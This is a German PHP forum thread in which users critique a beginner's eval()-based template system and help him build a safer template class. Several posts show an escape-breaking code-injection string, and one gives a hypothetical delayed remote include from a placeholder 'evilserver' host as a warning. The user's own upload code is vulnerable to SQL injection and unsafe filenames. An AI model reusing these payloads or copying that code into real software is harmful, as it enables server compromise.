Ergebnis 1 bis 20 von 53

Thema: [Vorstellung] tHE fAKE pAGE!

Hybrid-Darstellung

Vorheriger Beitrag Vorheriger Beitrag   Nächster Beitrag Nächster Beitrag
  1. #1
    Zitat Zitat von deadshox Beitrag anzeigen
    [I]Edit: Hab mal das Tutorial rausgesucht wo durch ich das so mache mit dem Template und da steht auch drin das das vBulletin das genauso macht. ;P
    Es steht nicht "genauso", sondern "nach dem gleichen Prinzip", was ein erheblicher Unterschied macht. In dem Kontext heißt's ziemlich sicher, dass vBulletin auch Templates verwendet, und nicht eval().
    Ich kann mir's zwar im Gegensatz zu anderen hier nicht ansehen, aber mich würde es sehr stark wundern, wenn eine große Forensoftware wie vB auf sowas wie eval() setzen würde. o_O'

  2. #2
    Zitat Zitat von drunken monkey Beitrag anzeigen
    Es steht nicht "genauso", sondern "nach dem gleichen Prinzip", was ein erheblicher Unterschied macht. In dem Kontext heißt's ziemlich sicher, dass vBulletin auch Templates verwendet, und nicht eval().
    Ich kann mir's zwar im Gegensatz zu anderen hier nicht ansehen, aber mich würde es sehr stark wundern, wenn eine große Forensoftware wie vB auf sowas wie eval() setzen würde. o_O'
    vB Benutzt auch eval() aber nach meinem Wissen nicht für die Tamplates, die werden um einiges anders verarbeitet wenn ich mich recht entsinne. Denn ich hab bisher noch nix gesehen im vB wo Template und eval() zusammen genutzt werden.

    zu Templates selber kann cih nur sagen das ich meine Templates wie vB in einer Datenbank speichere und diese dann wenn benütigt auslese.
    Der rest geht dann wie bei Jeez über die Platzhalter die dann per str_replace() ersetzt werden. Find ich persönlich praktisch und auch sehr unkompliziert

  3. #3
    Hm ich habe mir gerade ein paar OpenSource CMSs angeschaut und festgestellt wenn ueberhaupt ein Template System genutzt wird wo PHP und HTML nicht gemischt sind dann geht es irgendwie ueber OOP.
    Also Lern ich jetzt erst mal OOP, wollte das schon lange mal machen und dann kann ich gleich das ganze Projekt so umstellen.

    Danke Trotzdem schon mal fuer eure Hilfe!

    So lange ich OOP Lern steht dieses Projekt hier erst mal still.

  4. #4
    Ich benutze ebenfalls eval() für meine Templates aus Performancegründen. Allerdings wird der komplettte Code von meiner Template-Engine generiert und es kann nirgendwo direkt PHP Code eingeschleust werden (Es sei denn, jemand verändert die gecachten Templatedateien, dann liegt allerdings beim System grundsätzlich was falsch )

    Die möglicherweise sicherere Alternative ist in der Tat, alles über Objekte und Methoden zu regeln, dann kann auch nirgendwo PHP-Code eingeschleust werden - aber soweit ich weiß, ist ist OOP in PHP recht langsam...

    Ein Beispiel für eine Sicherheitslücke in deinen Templates, wäre sowas:
    Code:
    \"; phpinfo(); //
    Allerdings ist das ungetestet und inwiefern man etwas schlimmes damit anstellen kann ist unklar

  5. #5
    Also phpinfo() Funktioniert wenn ich es direkt in eval() eingebe aber wie soll ich von außen da ran kommen? Ich benutze ja keine Variablen in eval().

  6. #6
    Das Problem ist, dass du nur Anführungszeichen escapest. Aus " wird also \". Wenn ich aber \" in einem String habe, wird \\" daraus. Damit ist nicht mehr das Anführungszeichen escaped, sondern der Slash - und der String ist zu Ende. Danach kann man beliebigen PHP Code ausführen.

    Schreibe ich zum Beispiel folgendes in das Template:
    Code:
    \"; phpinfo(); //
    Kommt in PHP folgendes raus:
    PHP-Code:
    $foo "\\"phpinfo(); //" 
    Und was das bewirkt, kann man sich ja denken

  7. #7
    Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(


    Hab grade festgestellt das der Upload irgendwie nicht geht aber ich habe keinen Plan warum. -.-

    Hier mal der Code:
    PHP-Code:
    $content =         "<p class=\"read\">".$lang['fake_rules']."! </p>";
    $verz =         "gallery";
    $info =         getimagesize($_FILES['file']['tmp_name']);
    $filesize =     filesize($_FILES['file']['tmp_name']);
    $form1 =         "\n<form enctype=\"multipart/form-data\" action=\"?main=add&amp;insert=true\" method=\"post\">";
    $form2 =         "</form>";

        if (isset(
    $_GET['insert']) == "true")
        {
            if (
    == $info[2] OR == $info[2])
            {
                if (
    40960 >= $filesize)
                {
                    if (
    move_uploaded_file($_FILES['file']['tmp_name'],$verz."/".$_FILES['file']['name']) AND entry($_GET['insert']) == "true")
                    {
                        
    $query "INSERT INTO ".$pref."fake (
                                        fake,
                                        faker,
                                        befake,
                                        password
                                    ) 
                                    VALUES (
                                        '"
    .$_FILES['file']['name']."',
                                        '"
    .$_POST['faker']."',
                                        '"
    .$_POST['befake']."',
                                        '"
    .md5($_POST['password'])."'
                                    );"
    ;
                        
    $sql mysql_query($query) or die(mysql_error());
                        
                        if (
    sql$content =
                            
    "<p class=\"success\">".$lang['fake_upload_success']." <br />
                            - <a href=\"gallery/"
    .$_FILES['file']['name']."\">".$_FILES['file']['name']."</a></p> \n
                            <p class=\"success\">"
    .$lang['fake_new_success']."! </p>";
                    }
                    elseif (!
    is_uploaded_file($_FILES['file']['tmp_name']))
                    {                
                        
    $content "<p class=\"error\">".$lang['fake_upload_failed']."! </p>";
                    }
                }
                else 
    $content "<p class=\"error\">".$lang['fake_badfile']."! </p>";
            }
            else 
    $content "<p class=\"error\">".$lang['fake_badfile']."! ".$info[2]." -- ".$filesize."</p>";
        }

    eval(
    "\$content .= \"".gettemplate("style/fake_new")."\";");
            
    $htm_content =     $form1;
    $htm_content .= $content;
    $htm_content .= $form2
    Er gibt auch nichts ueber $info[2] und $filesize aus. -.-
    Irgendwie hab ich da nen Brett vorm Kopf.

  8. #8
    Zitat Zitat von deadshox Beitrag anzeigen
    Hm ok das hab ich jetz verstanden nur wie komm ich an eval ran und kann so schaden verursachen? Das ist mir immer noch nicht begreiflich. ;(
    Wir haben schon gezeigt, daß bestimmter PHP-Code aus deinen Templates heraus ausführbar ist, weil du nicht alles escapt hast, was gefährlich sein kann. Jetzt stell' dir vor, wir finden noch eine Escapelücke oder du verwendest später wieder eval() und paßt da nicht richtig auf. Dann müssen wir dir nur noch ein Template unterschieben, in dem irgendwo etwas in der Art von if (time() > 1185643219) include('http://evilserver.tld/worm_uploader.php') drin steht und ab dem 28.07.2007, 07:07:19 Uhr wird Schadcode von einer anderen Website eingebunden (die Zeitverzögerung macht den Angriff schwerer auf das Template zurückzuführen). Und nein, ein echter Angreifer würde nicht so offensichtlichen, plumpen Code schreiben.

    Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.

  9. #9
    Zitat Zitat von Jesus_666 Beitrag anzeigen
    Es geht hier darum, dir allgemein eval() abzugewöhnen. Jeder Programmierer macht Fehler und Fehler im Zusammenhang mit eval() neigen dazu, sicherheitstechnisch katastrophale Auswirkungen zu haben.
    Gut ich sehs ja ein. ;]
    Nun hab ich noch mal ne frage zu ' und ". Wann setz ich nu was ein? Finde irgendwie nix zum nachlesen da ich nicht weiß wonach ich suchen soll. ;[

  10. #10
    Bei einfachen Anführungszeichen wird der Text einfach als solcher ausgegeben, bei doppelten übersetzt der Parser Variablen oder Ausdrücke.

    PHP-Code:
    <?php
    $zustand 
    "gut";
    echo 
    "Mir gehts $zustand.\nDanke der Nachfrage.";
    echo 
    'Mir gehts $zustand.\nDanke der Nachfrage.';
    ?>
    Ausgabe beim ersten:

    Code:
    Mir gehts gut.
    Danke der Nachfrage.
    Ausgabe beim zweiten:

    Code:
    Mir gehts $zustand.\nDanke der Nachfrage.

    Wenn du also nur Text ausgibst, empfehlen sich einfach Anführungszeichen, weils performanter ist.


    Ach und btw. Es wäre mir recht, wenn du das ständige ";D / ;] / ;[ / ;) / ;(" etwa tausendmal pro Post unterlassen könntest; ab und an gehts ja und nix gegen Smilies im Allgemeinen, aber mit der Zeit gehts ehrlich gesagt etwas auf die Nerven.

  11. #11
    Sooo *trommelwirbel*

    Hab nun meine Template Klasse Fertig.
    Hab mich sehr bemueht es euch recht zu machen und ich hoffe das ist mir auch gelungen und ihr habt nix daran auszusetzen. Fehler und Verbesserungsvorschlaege sind trotzdem erwuenscht. ;]
    Ich weiß es fehlt noch sowas wie "error" Handling, das kann ich ja Spaeter noch mit einbauen.

    Download

    Fuer die Windows Leute
    Fuer die Linux Leute

    Code

    template.php
    PHP-Code:
    <?php
    # Template Klasse! Selbstgemacht. WUHUHU!

    class template
    {
        var 
    $tpl;
        var 
    $tpls;

        function 
    get_tpl($file)
        {
            
    $this->tpl implode("", @file("$file"));
        }
        
        function 
    get_tpls($file)
        {
            
    $this->tpls implode("", @file("$file"));
        }
        
        function 
    replace($search$replace)
        {
            
    $this->tpl str_replace("$search""$replace""$this->tpl");
        }
        
        function 
    show_tpl()
        {
            echo 
    $this->tpl;
        }
    }
    ?>
    index.php
    PHP-Code:
    <?php
    # Template Test

    # Einbinden der Template Klasse
    include('template.php');

    # Erzeugung des Objektes
    $template = new template;

    # Laden der HTML seite
    $template->get_tpl('tpl_index.html');
    # Laden einer Zweiten HTML seite.
    $template->get_tpls('tpl_index2.html');

    # Variablen. o.O
    $title 'Möp';
    $content 'MöpMöp';
    $copyright 'Pöm';
    $subcontent 'PömMöp';

    # Austauschen der Platzhalter mit Variablen
    $template->replace('{title}'"$title");
    $template->replace('{content}'"$template->tpls"); #  Einbinden des Zweiten Templates
    $template->replace('{subcontent}'"$subcontent"); # Variable aus dem Zweiten Template, kann wie alle anderen eingebunden werden
    $template->replace('{copyright}'"$copyright");

    # Ausgabe des Fertigen Templates!
    $template->show_tpl();
    ?>
    Viel Spaß damit.

    Geändert von deadshox (26.06.2007 um 19:48 Uhr)

  12. #12
    Ich halte das

    PHP-Code:
    <?php
    # Variablen. o.O
    $title 'Möp';
    $content 'MöpMöp';
    $copyright 'Pöm';
    $subcontent 'PömMöp';

    # Austauschen der Platzhalter mit Variablen
    $template->replace('{title}'"$title");
    $template->replace('{content}'"$template->tpls"); #  Einbinden des Zweiten Templates
    $template->replace('{subcontent}'"$subcontent"); # Variable aus dem Zweiten Template, kann wie alle anderen eingebunden werden
    $template->replace('{copyright}'"$copyright");
    ?>
    irgendwie für zu umständlich. Ich würde die Phrases mit Ersetzung in einer externen Datei auslagern und die Phrases außerdem in ein Assoziativarray stecken. Dann kannst du das bequem einbinden und in einer Schleife ersetzen lassen. Vermindert den Arbeitsaufwand beim Hinzufügen von neuen Phrases.


    Edit: Japp, ich meinte es so, wie malu es ausgeführt hat. ^^

    Geändert von NPC Fighter (26.06.2007 um 20:23 Uhr)

  13. #13
    Vor allem können Variablen auch verwendet werden, wenn sie nicht von Anführungszeichen umgeben sind.
    PHP-Code:
    $template->replace('{copyright}'"$copyright"); // X
    $template->replace('{copyright}'$copyright); // O 

  14. #14
    @npc
    PHP-Code:
    <?php
    # Variablen. o.O
    $index = array
    (
        array(
    '{title}''Möp'),
        array(
    '{copyright}''Pöm'),
        array(
    '{subcontent}''PömMöp')
    );

    # Austauschen der Platzhalter mit Variablen
    $template->replace('{content}'$template->tpls); #  Einbinden des Zweiten Templates

    foreach ($index as $replace)
    {
        
    $template->replace($replace[0], $replace[1]);
    }
    ?>
    So?

  15. #15
    Ich denke mit Assoziativarray meinte NPC eher sowas wie
    PHP-Code:
    $foobar = array(
    '{title}' => 'Seitenamebla',
    '{content}' => $template->tpls,
    '{copyright}' => '1234 bla'); 
    und dann eben
    PHP-Code:
    foreach($foobar as $search => $replace) {
    $template->replace($search$replace);

    oder so ähnlich.
    Code ungetestet ._. Bitte nicht hauen

  16. #16
    @malu So hatte ich mir das anfangs auch vorgestellt wusste nur nicht wie ich es umsetzen sollte, probier es gleich mal aus.

    PHP-Code:
    <?php # Variablen. o.O
    $index = array
    (
        
    '{title}' => 'Möp',
        
    '{content}' => $template->tpls,
        
    '{subcontent}' => 'PömMöp',
        
    '{copyright}' => 'Pöm'
    );

    # Austauschen der Platzhalter mit Variablen
    foreach ($index as $search => $replace)
    {
        
    $template->replace($search$replace);
    }
    ?>
    SO, klappt super, dank an euch!

    Geändert von deadshox (26.06.2007 um 20:11 Uhr)

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •